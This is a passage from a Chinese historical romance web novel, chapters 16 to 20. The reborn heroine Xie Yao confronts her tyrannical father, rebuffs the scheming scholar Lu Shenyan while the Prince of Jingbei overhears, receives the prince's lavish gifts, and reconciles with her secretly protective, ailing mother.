谢明安僵着笑脸,连忙道:“王爷慢走。” 话音落下,箫熠之的两名侍卫,还有他身后四个身披兵甲的彪形大汉护卫,齐刷刷回头,看向了他。 肤色白,更年轻些的白蔹性子冲动,按着腰间佩刀猛地冲出,杀气腾腾:“大胆,竟敢对王爷不敬!” 第16章 娶妻,自然要选漂亮的那位 靖北王身后的护卫也将手按在刀柄上,周身散发着森然煞气。 谢明安懵了:“下官没有,下官不敢啊。” “你是在暗讽本王不能行走?”箫熠之反问。 谢明安这才想到自己“走”字犯了忌讳。 眼前的靖北王面色如霜,眼瞳浓黑似墨,看着他,像看地上的蝼蚁。 谢明安咬了咬牙,跪拜道:“王爷,下官绝无此意。” 箫熠之垂眸睨着跪地的谢伯爷,心中讥讽。 白蔹刀已出鞘,只不过,想到这个人毕竟是谢二小姐的父亲,他又看向谢窈。 “王爷,我父亲素来心直口快,他说这话,没别的意思——”谢窈适时地开口。 没等谢明安点头称是,就听她语不惊人死不休:“他就是说的心里话。” 谢明安惊怒地看向她:“你这个大逆不道的逆女!胡说什么!” 箫熠之皱起眉:“谢伯爷是觉得谢二小姐与本王还未成亲,所以就敢在本王面前辱骂王妃?” “下官……”谢明安强忍着吐血的冲动。 不是靖北王说,还未成亲,与谢家毫无关系吗!为什么现在又要管他家家事? 谢窈看着谢明安低三下四的一阵解释,眸子深了几分。 皇上怕箫熠之不喜欢自己,哪怕赐婚,也给了他反悔的机会。 不仅是因为皇上体恤他身有残疾,更因为他手握兵权,战功赫赫。 她的父亲在谢家作威作福,朝堂上故作清高,到了箫熠之这里却被玩弄于股掌之间,只能跪地乞饶,也是因为惧怕他的权势。 终有一天,她也要如此。 终于,箫熠之要走了。 白蔹推着王爷的轮椅,他兄长白术铺好上车的木板,身后是两排披坚执锐的王府护卫。 谢明安目送靖北王上车,然后迅速吩咐家丁关闭府门。 马车正要出发,白术余光看见一名锦衣少年拽着个年轻公子,急匆匆跑到文昌伯府偏门,要进去。 家丁放开偏门,让少年和年轻公子一起进了府。 王爷一个眼神,白术悄然跟了上去。 片刻后,他回到马车,正好听见弟弟白蔹问: “王爷,虽然谢二小姐生得好看,但皇上明明说了,您可以跟着庆公公一起来宣旨,与谢家二女接触一番,过些时日再从中挑选,您为何当场就选了谢二小姐?” 白术板着脸:“王爷不是肤浅之人,选中谢二小姐,自然有他的深意。” 箫熠之端坐在轮椅上,淡淡地开口:“本王是瘸,不是瞎,娶妻,自然要选漂亮的那位。” 白术:“……” 白蔹又替王爷问:“哥,刚才那两人是谁?” 白术正色道:“属下打听了一番,少年是谢二小姐一母同胞的弟弟谢宴,年轻男子是谢家家塾的学子,姓陆名慎言。” 箫熠之垂下眸,喃喃:“是她选了我,而不是我选了她。” 两个侍卫听清了王爷的话,却都不明白这是什么意思。 马车正要行驶,那双桃花眸忽然睁开,淡声道:“既然陛下让本王多去谢家,那本王就去一趟。” 白术白蔹:“……?” 这车还没离开文昌伯府的巷子呢吧! * 伯府内,谢明安脸色铁青地呵斥:“目无尊长,顽劣不堪,当着御前太监的面污蔑本伯贪墨,还害得本伯当众给箫熠之下跪,许氏,这就是你教养出的好女儿!” 许素素低头附和:“谢窈,你怎能在外人面前,说你父亲的不是?你是要毁了伯府吗?” 谢窈转身道:“母亲有所不知,父亲太蠢,我这是为了他好。” 谢明安大怒:“你个逆女,好啊,你倒是说说,你如何是为了本伯好,若说不出好歹,本伯就家法伺候!” 谢窈:“父亲可知,庆公公是什么人?” “自然知道,庆才,宫里的太监总管,也是陛下身边红人。” “那父亲觉得,庆公公不清楚父亲你一年的俸禄与爵禄是多少吗?”她不紧不慢地问。 “母亲细心,给庆公公准备了赏钱,但若我不质疑父亲贪墨民脂民膏,给父亲解释的机会,在庆公公眼里,如此多的赏钱就成了伯府贪墨的罪证,一旦庆公公这么认为,陛下也如此认为,父亲难道要去向陛下解释?” 谢明安原本满脸怒容,听着听着,脸色逐渐阴沉。 他竟忽略了赏钱过多这一点,若是让庆才以为自己贪污受贿,那他在百姓,在陛下面前多年清名就全毁了。 只是,一想到自己还疼着的肋骨,谢明安还是语调怨恨: “即便如此,难道庆公公不会调查许氏的家世?你实在粗蛮无礼,从明日开始,就让孙姨娘教你学规矩,成亲之前不许踏出伯府半步,省得给本伯出去丢人现眼。” 孙姨娘眼中闪过精芒,刚要应下,许素素却忽然上前。 “孙姨娘不是谢窈生母,教导规矩终究不敢严厉苛责,但我不同,谢窈如此顽劣,都是我这个做母亲的管教不严,还是交给我来教导吧。” 谢窈看见母亲攥成拳头的手,心中酸涩。 她如今才明白,母亲是怕自己在孙姨娘手里受委屈,才鼓起勇气,故意装得严厉。 谢明安:“你们许家一介商贾,懂什么规矩?馨兰乃孙药令之女,她教谢窈礼仪规矩才出不了错。” 许素素却不退半步:“孙姨娘是孙药令之女,但终究只是庶女,而我乃家中嫡女,当然更懂怎么教导嫡女。” 孙姨娘脸一黑,挤出笑容:“主母如此放心不下,是担心妾身吃了窈儿不成,放心,妾身会对窈儿很好。” 谢窈:“你们都想教我学规矩,有没有考虑过我的想法?” 孙姨娘啧道:“窈儿啊,你在乡野长大,不知妇人有三从之义,所谓三从,首要的便是未嫁从父,你怎能违背伯爷的决定呢。” 谢明安见谢窈还敢顶嘴,厉声道:“这逆女如此顽劣,如今谁求情都没用,给本伯抓住她,上家法!” 许素素面色一变。 须臾,王管事领着几名家丁出现。 “二小姐一介女流,还是乖乖听伯爷的话,跟着姨娘学规矩吧!” 说着,王管事就挥拳上前。 谢窈余光看见母亲脸色更加苍白,甚至控制不住地上前了几步。 她就知道,母亲是在乎她的。 谢窈勾了勾唇,轻易躲过拳头,一刀落下,刀背钝砸在往管事腿上。 “啊啊啊!我的腿,我的腿——” 一阵剧痛传来,王管事发出杀猪般的惨叫。 孙姨娘捂唇惊叫,许素素则冷静下来。 谢窈再举起刀。 谢明安怒斥:“住手!王管事在伯府多年,算是看着你长大的长辈,你怎么敢打他!” 许素素这才道:“谢窈,你不得无礼。” “他敢对我动手,我为何不敢打他?” 谢明安面容铁青,眼神格外阴沉:“好、好,真的反了你了……” 谢窈冷笑一声,扬起手中圣旨:“父亲想让我嫁给靖北王,便安分点,否则等我成为王妃,就面圣告诉陛下,是你们嫌弃靖北王身有残疾,不愿大姐姐嫁给他,才让我回京替嫁。” “你也是伯府之人,敢如此跟陛下说,是要害了伯府满门吗?”孙姨娘大喊。 谢窈:“再叫,我就说是你让我替你女儿嫁的。” 孙姨娘不说话了。 谢明安指着她,气得头晕目眩。 “都是你这个愚妇教养的女儿,你给庆公公那么多赏钱,是要害本伯?” 他无处宣泄,看见身边的许素素,抬手就要扇耳光。 但刚伸出胳膊,就被谢窈捏住手腕。 “原来素有美名的文昌伯,在家中,是个打妻骂女的伪君子,看来等我进宫后,得好好和陛下倾诉一番家事了。” “你,你!” 谢明安目光阴沉,费力从女儿手里挣脱,就见自己手腕已经被攥出一圈青紫。 两名小厮上前,正要把王管事扛走,谢窈又道:“父亲只是让王管事抓我,王管事却以下犯上,差点伤到我,这就是父亲身边的管事,伯府的规矩?” 谢明安怒气冲冲地踹了地上的人一脚,不顾王管事求饶:“王管事对二小姐不敬,罚半年月钱!” 他一转身,差点被王管事绊倒。 孙姨娘连忙扶住他:“伯爷莫要动气,当心身子啊。” 临走前,谢明安盯着许素素,眼神幽深,似淬了毒。 “既然是你的女儿,那你就自己好好管教吧。” 许素素怯懦地称是,冷脸对谢窈说:“还不把刀收起来,你怎敢在自己父亲面前舞刀弄枪,你眼里还有没有我,有没有伯府!” 谢窈盯着王管事等人离去,这才慢吞吞地收了刀,看向母亲。 许素素一脸怒容地别过头,被桑若搀扶着离开,似乎厌恶地看都不想看她。 谢窈并不在意,一个人往晚香院走。 “窈儿,你当真要嫁给靖北王?” 一个熟悉的声音,忽然在她身后响起。 第17章 王爷撞见野男人,求娶谢窈? 听到这个声音,谢窈身体顿时僵住。 霎时间,心头涌起滔天杀意。 她回过头。 只见陆慎言一身天青衣袍,玉冠墨发,清隽俊逸,唇角还噙着淡淡的笑容。 不得不说,陆慎言确实俊秀出众,前世,她在云州城里听说书先生讲话本的时候,就心想自己以后要嫁给这样的温润书生。 但是,在端详了箫熠之的容貌后,陆慎言便完全不够看了。 她回想起陆慎言命人毒哑她的丑恶嘴脸,恨意翻涌。 陆慎言站在谢窈对面,见她还是三日前进京时的一身破衣裳,不由皱起了眉头。 只是,即便穿得那么破旧,也难掩她出众的姿色。 他满脸关心地问:“窈儿,我看见宣旨太监和靖北王来伯府了,陛下当真赐婚了?” 谢窈反问:“你是怎么进的谢府?” 陆慎言柔声道:“窈儿忘了吗,我是谢家学塾里的生员。” “虽然今日学塾放课,但我知你多年在外,不通京中礼数,怕你因此受了委屈,实在放心不下,所以特意来找你。” 怕她受委屈?放心不下? 恐怕陆慎言真正放心不下的,是若能娶她,母亲和外祖父给她准备的嫁妆吧。 她倒是想起来了,从前,陆家与文昌伯府同住在棠柳巷。 陆父与谢明安是同窗,所以陆慎言交了些束脩,自幼在谢家的家塾读书。 几年前陆父病逝,陆家就家道中落了。 前世,陆慎言说:“你不知礼数,要是嫁入王府,定会受委屈嫌弃,而倘若嫁给我,我虽然家境贫寒,但以后定发奋读书,考取功名,护你周全。” 那时她对箫熠之心有偏见,也不想再掺和军中事务。 而陆慎言生得好看,说话也好听,她便以为他是良配。 可没想到,她陪陆慎言度过最难的日子,换来的却是一条养不熟的毒蛇。 这条毒蛇不仅害死自己,也害了母亲。 谢窈睨视着陆慎言,目光幽冽:“陆公子与我非亲非故,只是在我家附读的生员,是圣贤书都读到狗肚子了,居然这般没有分寸地唤我窈儿,还说我不知礼数?” 听出她语气里的冷漠,陆慎言叹道: “窈……谢窈,你我自幼相识,清楚彼此脾气性情,何须拘于那些俗礼规矩呢?我只是清楚你喜爱自由,实在不忍看你嫁入靖北王府,痛苦蹉跎一生啊。” “你又不是靖北王,更不是我,怎会知道我嫁给他,会蹉跎一生。”谢窈道。 陆慎言皱起眉头,没想到她忽然对自己这么冷淡。 “三日前你初回京城时,我们相遇,你不是十分高兴吗,到底发生了什么,你告诉我,我一定尽力护你周全。” 他还是温柔地说,眼神志在必得,像是看待一件猎物。 三天前,谢窈见到他的时候,小姑娘的眼中清晰地透露出心动,他怎会看错? 谢窈眸子沉了沉,她恰好重生在回府马车上,如果早一个时辰,她根本就不会与陆慎言在城门口相遇。 若是换个地方,她甚至可以一刀结果了陆慎言,更别提让他出现在这里。 她正要把这个男人赶走,忽然脊背一冷。 那比深秋更甚的寒意,唯一人有。 箫熠之,正在这附近! 他为何去而复返? 是不信谢家,来探探虚实,还是不信她? 谢窈装作没有发觉的样子,目光淡漠地看着陆慎言,道:“那日,我不过是与你这个年幼邻居多年未见,一时惊讶罢了。” 陆慎言眼眶泛起一圈红,脱口而出:“可我不愿我们只做邻居。” 谢窈讥讽一笑:“你不愿就不愿呗,以后不愿的事儿还多着呢。” 陆慎言深吸一口气,望着她,目光灼灼。 “靖北王暴戾残忍,还身有残疾,靖北王府也是水深复杂,何况我听说了,陛下有道口谕,靖北王是要在你和谢家大小姐中择一人为妃,而我,只要你。” “窈儿,只要你答应嫁给我,我愿为你抗旨,来谢家提亲,从此与你一生一代一双人,定不负你。” 风乍起,吹拂着陆慎言的衣摆。 深秋的阳光打在他棱角分明的俊脸上,显得他温润真挚。 前世,谢窈也曾听到陆慎言说出类似的话。 她当时以为陆慎言对自己一片真心,甚至甘愿背上抗旨之罪,所以十分感动。 殊不知,她为陆慎言抗旨,陆慎言却以老母阻挠为由,等到赐婚的事不了了之后,才敢上门提亲。 后来她嫁入陆家,一次争吵时,陆母口不择言: “你真以为自己花容月貌,我儿对你一见倾心?那是我知谢家要你回京,特意让我儿在城门口等你。” 陆母还说:“要不是因为你是谢家嫡女,许氏之女,能助我儿仕途,你这样在边关长大,粗鄙跋扈的女子,我们陆家是万万不会娶进门的!” 陆慎言说出“窈儿,答应嫁给我”的刹那,谢窈感觉身后更冷了几分。 不远处,箫熠之的面容仿佛覆上一层幽幽冰霜,周身戾气,如墨的桃花眸深沉莫测。 他指节泛白,手里攥着一个掌心大的玉瓷瓶,几乎要不堪重负地碎裂。 白蔹也没有再嬉皮笑脸,额角渗出汗,面容严肃。 他们在文昌伯府找谢二小姐的住处,迷了路。 怎么这么巧,刚好撞见个野男人,在这里求娶谢二小姐? 可王爷还让自己费了好大力气,找来极为珍贵的愈伤膏,应该是要送给对方的…… 现在,别说送什么愈伤膏,王爷不会大发雷霆,把谢二小姐和陆慎言活撕了吧。 陆慎言见谢窈不应,更为深情地说:“窈儿莫怕,我已寒窗苦读多年,待到明年春闱,我定会为你考取功名,到时候,我们好好过日子。” 说着,他就要上前,想拉住她的手。 谢窈立即后退半步,攥紧了刀柄。 她努力克制,才克制住自己给陆慎言一个过肩死摔,一刀囊死的冲动。 “你考取功名,与我何干,我何时说过我喜欢你?”她反问。 陆慎言脸上的一往情深骤然僵住,眉头皱起:“谢窈,你可是觉得我陆家如今家道中落,一介寒门,配不上你这文昌伯府嫡出的二小姐?” 谢窈笑了:“原来你也知道,你们配不上我啊。” 第18章 她贪慕虚荣?渣男恼怒 “你!” 陆慎言好像被戳中痛处,脸色一下子沉了下去。 他平生,最恨被人拿家世说事。 陆家的确与文昌伯府相差甚远,自从他爹走后,家中更是一落千丈。 只是,他又想起自己母亲的叮嘱。 谢窈是谢家嫡女,还是富可敌国的许家外孙女,又有和他年少相识的情分,是自己未来仕途不可缺少的助力。 他耐下性子:“虽然我们陆家如今低微,但家世清白,家父生前也是八品殿前拾遗,窈儿难道忘了,你以前说过,长大后要嫁给像我这样的人吗?” “以前?多久以前?”谢窈冷笑。 “陆公子指的是我五岁前的童稚之言吗?毕竟我五岁之后,就已经打遍了棠柳巷,自然也包括你。” 陆慎言瞳仁一颤。 他想起小时候,自己被谢窈揍过。 谢窈自幼力气就大,整条棠柳巷,不论男女,哪怕比她大几岁的孩子都打不过她。 而在远处的角落里,坐在轮椅上的箫熠之,蓦地松开了那紧捏瓷瓶的手。 白蔹也不由自主地松了一口气。 看来,谢二小姐和陆慎言最多是年幼玩伴的关系,从前还揍过此人。 陆慎言求娶,只是一厢情愿。 他凝神再看王爷神色,却瞧不出王爷的喜怒。 听出谢窈拒绝中的嘲讽,陆慎言本就不多的耐心彻底耗光。 他咄咄逼人:“谢窈,你一介女流,不知靖北王的可怖之处,何况,他这种身有残疾之人,定然也内心扭曲,而我陆慎言除了无权无势,哪里比不上他?” 眼前的陆慎言,隐隐显露出虚伪阴沉的本质。 她看在眼里,痛恨自己当初竟然没看破他的伪装。 “若论权势,你确实连做靖北王阶前走狗都不配,我即便是看上了他的权势,又如何?” 她语调淡漠,字字锥心。 “若论品行,有些人四肢健全,求而不得便气急败坏,怒形于色,内心说不定多么腌臜。” 陆慎言恼羞成怒,眼神愤恨地盯着谢窈,像是看待脱离自己掌心的猎物。 想到距离谢窈还有一个月才嫁入靖北王府,他定神了几分,自己还有机会。 “谢窈,没想到你如此贪慕虚荣,言尽于此,既然你执意跳入火坑,到时候,可不要后悔来求我!” 说完,陆慎言愤怒离去。 爱慕虚荣? 暗处的白蔹又紧张地盯着王爷。 谢二小姐虽然拒绝了陆慎言,但听这话的意思,确实是出于权势地位,才看上了王爷。 不过,王爷似乎…… 并没有生气? 箫熠之极淡地瞥了紧张兮兮的属下一眼,招了招手。 白蔹一脸迷惑,呲牙笑得很灿烂。 直到箫熠之瞪了眼他,他才明白什么意思,匆匆给王爷推动轮椅。 箫熠之拧起眉头,心想以后出门,还是带白术比较好。 谢窈看着陆慎言离开,耳朵动了动,听见极其细微轮轴转动的声音。 等了片刻,没人现身,看来箫熠之也走了。 走了也好,省的她还要浪费口舌解释。 她不怕被箫熠之认为自己贪慕虚荣,只是不想让他误会自己要给他戴顶绿帽子。 谢窈选择嫁给箫熠之,既是因前世,他替她自己收敛了尸骨的恩情,也是因为她自信。 她嫁给他,对他百利无害。 她也想借他的手,复仇。 至于自己在箫熠之眼里是什么样的人,不重要。 终于回到晚香院,谢窈得知母亲昨日已经搬进了晚香院的上房。 她本来要去见母亲,还未进门,桑若就拦住了她:“二小姐止步吧,夫人已经休息,不见外客。” 见她不走,桑若语气更为冷淡:“夫人说了,二小姐逾矩失礼,如果有心,就去跟谢伯爷请罪。” 外客、外客。 谢窈琢磨着这两个字,心里有些难受。 母亲究竟为何要对自己这么冷漠,还一直把她往谢明安身边推,她一定要弄清楚! 她回到自己房间,沐浴了一番。 忍冬抱着几件新衣回来,说:“这是桑若刚才送来的,奴婢问是不是伯夫人给的,她说是老夫人为您准备的,要您抽空去向老夫人谢恩。” 谢窈换上衣服,是件石青色的直裾短襦,穿上简洁利落,英气十足。 她摸了摸,针脚是新的,但布料被反复浆洗得很柔软,里面絮着厚实的棉花。 这次衣服上没有香料味,只是透着淡淡的皂角气息。 若谢老夫人送她身华服或端庄襦裙她还信,但送这种方便行动的衣裳…… 也只有母亲,知道她自幼顽皮活泼。 忍冬惊讶地说:“老夫人还是关心二小姐的,这身衣裳很合身,一看就是为您量身定做的。” “既然桑若说是老夫人送的,那就当是老夫人送的吧。” 谢窈回想起小时候的事,问道:“母亲身边有几个伺候的人?可有一位姓苏的嬷嬷?” 忍冬道:“没见到什么嬷嬷,加上桑若一共是四位,都是与奴婢年纪相仿的姑娘。” “贴身伺候的是谁?” “应该是桑若,桑若给奴婢送完衣裳,就立即回去了。” 谢窈的手攥成拳。 平时,孙姨娘走到哪里,身后都跟着一串侍女嬷嬷,而母亲是堂堂文昌伯正妻,身边居然只有四个小丫鬟,甚至这四人中,母亲信任的就桑若一个。 谢窈还记得,苏嬷嬷是母亲的陪嫁,自己小时候,苏嬷嬷一直在身边照顾,如今却不在了。 她离京的九年,母亲究竟经历了什么。 谢窈脱下新衣裳,将衣服叠得整齐,仔细拂平上面的褶皱,也慢慢将自己的心静了下来。 “我的旧衣服呢?”她问道。 “奴婢拿去浆洗了,刚晾上。” “拿来,我继续穿。” 忍冬担忧道:“那身衣服还没干,又是单衣,京城这么冷,您的伤势未愈,万一又生病了怎么办——” 谢窈:“就是要让人知道,我病了,还病得不轻,连件厚衣服都没有。” 忍冬不解,但还是拿来了衣裳,不太情愿地给了谢窈。 若非看在二小姐的伤已经快好了的份上,她是一定不让她穿的。 片刻后,谢窈披着潮湿的单衣走出屋子。 她提着刀,去打树上熟透的海棠果,一些枝条抖动,果子噼里啪啦地掉在地上。 晚香院里,母亲屋子的窗户,悄悄张开了一条缝。 谢窈看在眼里,又打了个喷嚏。 母亲,我看你能忍到几时。 谢窈想演一出苦肉计。 不过,还没等她走完感染风寒,发烧,昏迷,喊母亲的流程,计划就偏差了。 靖北王,送来了一批赏赐。 第19章 靖北王彰显权势,警告她? 这些赏赐属于靖北王送谢窈个人的礼物,不算聘礼。 她和箫熠之是皇上赐婚,靖北王府不需要下聘。 箫熠之要真给她送了聘礼来,她还得想着怎么从谢明安手里拿到。 到伯府送赏赐的,是之前拿刀对着谢明安的年轻侍卫。 若只是侍卫一人就算了,一同来的,还有八名王府披甲护卫。 礼物是一对紫檀木的大箱子,上面镶嵌宝石,在落日的余晖里闪闪发亮,由三匹神骏的白马拉着,就这么穿过半个京城,在无数人眼皮下,从正门送进了文昌伯府。 箫熠之恨不得让全京城都知道,他是一个多么穷奢极欲,权势滔天的王爷。 比白天宣旨时还要声势浩大,不知是做给谁看。 “王爷有赏,这是今秋皇上所赐的蜀锦八匹,王妃可以裁做新衣。” “这是王爷征战西戎时缴获的苏合香饼,王妃能制成香囊。” “这是南海郡今年上贡的红珊瑚树,王妃可以放置在院中观赏。” 白蔹路过谢家二爷的院子,谢伯爷的书斋,谢老夫人的暖房,孙姨娘和谢枝的阁楼,来到了晚香院。 他嗓门高,送赏的声音传遍伯府。 谢窈让忍冬一一收下,心里感慨靖北王财大气粗,脸上维持着客气的笑。 说完面上的礼物,白蔹又拿出一个玉瓷瓶,神情郑重。 谢窈也认真起来。 “这是王爷从前用过的愈伤膏,特意找出来送给谢二小姐。”白蔹压低了声音。 刚才他喊礼物清单时,叫王妃,是给谢二小姐撑场面,现在私底下,他遵规守矩地叫谢窈“谢二小姐”。 谢窈眉心一蹙。 箫熠之怎么知道她身上有伤? 他故意送这些珍贵赏赐,彰显权势,是因为自己拒绝了陆慎言,没给他戴绿帽子? 还是为了警告她,他知道了自己的秘密? 虽然,她受伤算不上什么秘密。 白蔹也不知道自己说错了哪句话,面前的谢二小姐刚才还好好的,眼神忽然就冷了。 谢窈定了定神,正要道谢,就见桑若又来了。 她来了她来了,她端着赏银走来了。 还好这次没那么吓人,只是准备了一小盘银锭。 母亲啊母亲,说着休息了见都不见她,却第一时间派人,替她打赏给靖北王送赏的侍卫,还说厌烦自己? 白蔹推辞:“属下王爷之命行事,不能要您的赏银。” 谢窈看了看白蔹身后的人:“都是自己人吧,你叫什么名字?” 白蔹连忙点头:“属下白蔹,是王爷的近身侍卫。” “既然都是自己人,那分什么你我?一点心意,拿去和兄弟们喝酒吧。” 白蔹有点心动,他平时不轻易心动,但一则谢二小姐是准王妃,自己人,二则平时别人也不给他打赏这么多。 “这也太多了……”他小声说。 谢窈等得就是这句话,一挥袖,在桑若惊讶的眼神中,收走了托盘上一半的赏银。 她拍了拍白蔹肩膀,笑容灿烂:“你一半我一半,放心,我不跟王爷说。” 他只能收下。 这拍肩膀的动作,让白蔹感觉自己回到了从前跟王爷四处征战的时候,王爷就喜欢拍别人肩膀。 谢窈又道:“多谢蔹侍卫送来这些东西,改日我一定亲自去王府道谢。” 白蔹心想,谁说谢二小姐嚣张跋扈没规矩的,这不是很知礼吗。 “谢二小姐客气了,这哪用道谢,王爷与您早晚是一家人,一家人不说两家话。”他摸了摸脑袋,脸颊笑出一对酒窝。 谢窈若有所思,看来,箫熠之是在警告她别出门,要她安分守己。 等白蔹离开,桑若才幽幽地说:“二小姐,这是伯爷给王府侍卫的打赏,您怎么自己昧下了一半啊。” 谢窈回头,抱着那盆一人多高,鲜红如血的珊瑚树,泪眼婆娑:“因为我穷。” 都这样了,母亲既然还跟她演,她也不介意继续苦肉计。 “你替我谢谢伯爷啊,就说下次我不说他贪墨民脂民膏了。” 桑若欲言又止,最后没说什么走了。 谢窈回到屋内,看见收拾礼物的忍冬,忽然明悟。 “我身上,是不是有药味?”她问道。 忍冬耸动鼻尖:“奴婢没有闻到呀,而且如今伯府谁没有药味,谢伯爷受伤,夫人常年吃药,谢老夫人也经常吃补品。” 谢窈摇了摇头,心道箫熠之真是狗鼻子。 “我的伤已经快好了,外敷的药就先停了吧。” 她把昧下的赏银收好,并没有碰那瓶愈伤膏。 回到院子里,谢窈按照原计划行事。 摘下了几枚海棠果后,她故意气喘吁吁地擦汗,对着风口,咳嗽得惊天动地。 忍冬配合地关心:“二小姐,天这么冷,您还穿得这么单薄,这要是感染了风寒可怎么办?” “北境不比京城更冷,那我也抗过来了。” 谢窈说着,将一枚果子随意擦了擦,放入口中。 “还记得咱们在云州守城的时候吗,啃了半个月的干粮,做梦都想吃点新鲜的瓜果菜蔬。” “那倒是,云州贫寒,果树一入秋就被人摘没了,哪有这么硕果累累。” 房内,许素素坐在窗边,拿药碗的手却悬停在空中。 她记得谢窈年幼时嗜甜,最喜欢吃桂花糖,对满院酸涩的海棠根本不屑一顾。 可现在,她到底受了多少苦,居然吃这些果子还津津有味…… 桑若正在许素素身边服侍,见谢窈在外面跑跳,连忙说:“奴婢去劝劝二小姐注意身体。” 许素素压下心疼,厉声喝止:“由着她去,她伤伯爷和王管事时不是活蹦乱跳吗,我看,她这身体健康得很。” 桑若只好默默守在一旁。 等许素素喝完药,她将药碗端走,回来时道:“夫人,奴婢刚才给二小姐送晚饭时,后厨也给二小姐备了饭菜,我见二小姐都用了,看来以后不需要奴婢了。” 许素素眼神黯淡了几分,声音却仍旧冰冷:“用不到更好,省心。” 话未说完,她止不住地咳嗽起来,整张脸惨白如纸。 忍冬急忙递上帕子。 许久,许素素才止住咳,帕子上却多了一抹鲜红。 暮色渐起,谢窈却好像感受不到外面的冷风,直接屋门大敞,悠闲地坐着吃宵夜,哪有一点受风寒的样子。 许素素气得关上了窗户,眼不见为净。 忽然,外面“啪”地一声脆响,什么东西碎了。 许素素猛地起身,冲出去推开房门。 “母亲。” 谢窈安然无恙,抬头看着她,眉眼弯弯地笑。 地上,似乎是她一时手抖,摔碎了一个饭碗。 见她根本没事,许素素脸色更冷,就要和门。 对面的女儿却眉头一皱,明明刚才还故意敞着门吹风,想让她心疼,忽然比她还快一步地带上了房门。 桑若道:“夫人,咱们该歇息了。” 许素素回到卧房,谢窈那忽然变化的面容却在她心里挥之不去。 蓦地,她问道:“桑若,你送饭时看见那丫头也用了厨房送的饭菜?” “是啊,二小姐胃口好,这几日奴婢给她送饭,见她一个人吃两人份的饭食呢。” 许素素面色骤然惨白。 第20章 前世母亲护她,今生她护母亲 深夜,万籁俱寂。 谢窈房间的门,被人轻轻推开。 许素素走进卧房,就见谢窈蜷缩在床榻上,双目紧闭。 枕边,放着一个喝剩的药碗。 久病成医,她看得出,这药是真的。 她呼吸微沉,颤抖地伸出手。 还没有碰到谢窈的额头,躺在床榻上的人就睁开眼,露出“阴谋得逞”的笑。 “母亲不是不信我病了吗,怎么来看望我了?” 许素素一愣,没想到谢窈居然醒着。 这么说,厨房的饭食没问题。 她又惊又喜,反应过来自己是被女儿算计了,立即板住脸。 眨眼间,许素素又变成冷若冰霜的许夫人。 “看望你?”她冷声道,“我只是怕你在晚香院出事,连累到我。” “既然没事,那明天就开始学规矩,就从《女训》开始学起,改改你这浑身上下的毛病。” “母亲!” 谢窈根本不听她的话,掀开被子,一把抓住她的手。 忽明忽暗的烛光中,谢窈才发现,卸去了妆容的母亲,面色比白日里更加憔悴苍白,脸颊也凹陷着,简直和前世灯尽油枯的自己情况相像。 她克制着哽咽,认真地问:“您告诉我,是不是孙姨娘欺辱威胁您,您害怕什么,又到底有何苦衷,才故意表现的不在乎我。” 许素素淡漠地摇头,声音似浸了冰:“你想多了,我自己清楚自己的身体,这么多年了,一直都那样,死不了,也怨不得旁人。至于你,自幼离了我身边——” 她顿了顿:“早就没什么母女情分了,何必强求亲近。” 谢窈当然不信:“是吗,若您不关心我,您今晚怎么会来到这里,不就是误以为我吃了厨房送的饭食,中毒了吗。” 她眼神微凛:“如果和孙姨娘无关,那就是和谢明安有关了。” 许素素厉声斥道:“谢窈,你过分了,伯爷是你父亲,你怎能直呼他的姓名,他又怎么会伤害你!” “可是他却伤害了您,是不是?” 谢窈轻轻地问。 她紧握着母亲的手。 那双手冷得像冰,干枯,瘦弱。 谢窈记得,母亲才三十四岁,比孙姨娘还小两岁。 年幼时,母亲虽然常年患病,性子也文弱,但绝不是这般形容枯槁的模样。 前世,谢窈被困在庄子里,谢宴想方设法才见到她。 谢宴说,母亲得知她被陆慎言送去乡下庄子养病后,日日以泪洗面,身体每况愈下,脾气也变得古怪,连自己的儿子都不理。 直到有一天,母亲叫他上前,把仅剩的陪嫁庄子店铺留给了谢窈,求他一定要见上谢窈一面。 当天夜里,许素素自尽了! 谢宴告诉她死讯的时候,母亲已经走了一年。 谢窈如今猜测,母亲身体本来就差,被陆慎言每个月写信咒骂,谢明安还抬妾为平妻,她的病,这才加重。 后来,母亲或许是发现了信有问题,意识到女儿身陷囹圄,所以,她想用自己的死,来告诉女儿枕边人的真实面目。 得知母亲死后,谢窈才开始谋划与陆慎言和离。 许素素本想摇头。 可是,听到谢窈这句“他却伤害了您”,她一滴泪夺眶而出,又被她迅速拭去,像从没有落下过。 她紧绷着身体,怕自己露出破绽,沧桑的面容一片死寂。 “孙馨兰有句话说得对,在家从父,出嫁从夫,文昌伯府是你的娘家,纵然伯爷有万般不是,他也是你的父亲,是你出嫁后的倚仗,你如此骄纵忤逆,难道真要和自己的父亲决裂吗。” 许素素的声音沙哑,眼神空旷。 听了这番话,谢窈终于明白,为何母亲总是把她往谢明安和谢老夫人身边推。 许素素傻傻的以为,谢明安是她的父亲,谢家会是她出嫁后的依靠。 从前,她也是这样认为。 甚至直到死前,她还幻想着回谢家。 谢窈摇了摇头,眼神锐利如刀:“我的倚仗是我自己,还有你。” 许素素眼中透着惶然不解。 她从小被家中教导三从四德,又在这座伯府中过了太多年,不明白谢窈的意思。 自己一介女流,手无缚鸡之力,如何能成为女儿的倚仗? 如果阿窈与谢家撕破脸皮,那以后她不在了,这偌大天地,还有何处能庇护她的女儿? 为此,她宁可做个恶人,至少女儿还有父亲在,至少她死的时候,女儿不会太伤心。 她低声道:“事已至此,我可以告诉你,是,我确实厌恶你。” “当初生你,你不知道我遭了多大的罪,若非你和谢宴,我的身体也不会这般差。所以你我虽为母女,但如同仇敌,你无需再试探我,我也不想管你死活。” 谢窈却笑得温柔:“我知道,母亲当初还没和谢明安定亲,就先有了我。” “您不爱我,那为什么要生下我?若您恨我让您落下病根,那为什么没有当时就把我掐死。” 许素素眼瞳颤动,张了张口,无法辩驳。 谢窈又道:“您为何让桑若给我送去饭食炭火?为何帮我打点宣旨太监和靖北王的侍卫?” “还有这身衣裳,很合身。” 一个人对自己是好是坏,不在于她怎么说,而在于她做了什么。 只是她前世太傻,不懂这一点。 谢窈站起身,许素素才发现,她穿的是自己亲手缝制的衣服。 她忍不住看着谢窈,她的阿窈,生得这样美丽,健康,让她移不开眼。 “尺寸合身,正好靖北王给我送来了许多布料,还要劳烦母亲再给我做几件。” 谢窈不顾许素素在想什么,直接把旁边的布匹扔到她怀里,然后在母亲面前,褪下外衣,露出自己肩上的伤口。 许素素看见那道还未愈合的狰狞箭伤,还有她身上露出些许陈旧的疤痕,呼吸骤然哽咽。 她抬起手,却不敢触碰那些伤疤,喉咙滚动,挤出极轻的两个字。 “疼么?” “从前很疼,但现在已经不疼了。” 